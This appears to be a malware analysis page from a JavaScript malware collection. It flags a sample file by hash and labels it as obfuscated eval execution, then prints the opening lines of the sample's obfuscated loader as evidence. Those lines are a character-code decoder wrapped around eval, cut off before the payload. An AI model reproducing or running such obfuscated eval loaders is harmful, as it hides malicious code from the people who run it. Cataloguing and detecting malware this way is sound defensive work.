Suspicious ^80% javascript-malware-collection Download

20151208_c7874fecc95f0c5ca5e4b7ec276a5e6a.js

obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-256a05058c73e7d908f2f4a8f9da338490e9239fb49047cb02ed5f63a731f45cdfe

Evidence

Obfuscated increment/decrement via arithmetic lines 1–5

1var dEbUnLLMhiTli=[];for(mTXwqDn=(-999+999)/957;mTXwqDn<(18417+15)/144;mTXwqDn++){dEbUnLLMhiTli[mTXwqDn]=String.fromCharCode(mTXwqDn)}function awOiV(XYAARdkAeRZ,BZkhtehTEAzWx,KniTsTKK){iYLa=parseInt(XYAARdkAeRZ,BZkhtehTEAzWx);KtsJF=iYLa.toString(KniTsTKK);return KtsJF;}function YeuqACbIKHGEicM(WgnSIMCCqPIrqWnFV){eval(WgnSIMCCqPIrqWnFV)}
2function DAbuqscSgeqkygdNlpDNxgvYXCkZJiWqSqOOkpNOxclvyjwqGQeQEC(gYYrHFNJGJYEm,RBdUCJpaifxiMo){ return dEbUnLLMhiTli[awOiV(gYYrHFNJGJYEm[RBdUCJpaifxiMo],(6613+407)/702,(500+360)/86)];}
3function kelDSpH(gzTiCmxekRYmOASSfKdsiricMYsoXeyJyLZd) {return !isNaN(parseFloat(gzTiCmxekRYmOASSfKdsiricMYsoXeyJyLZd)) && isFinite(gzTiCmxekRYmOASSfKdsiricMYsoXeyJyLZd);}
4function KaCBobMzyqL(NmWfbVNp,WXhMuw){return NmWfbVNp.split(WXhMuw)}
5var t=[];t.push("13");t.push("10");t.push("13");t.push("10");t.push("118");t.push("97");t.push("114");t.push("32");t. …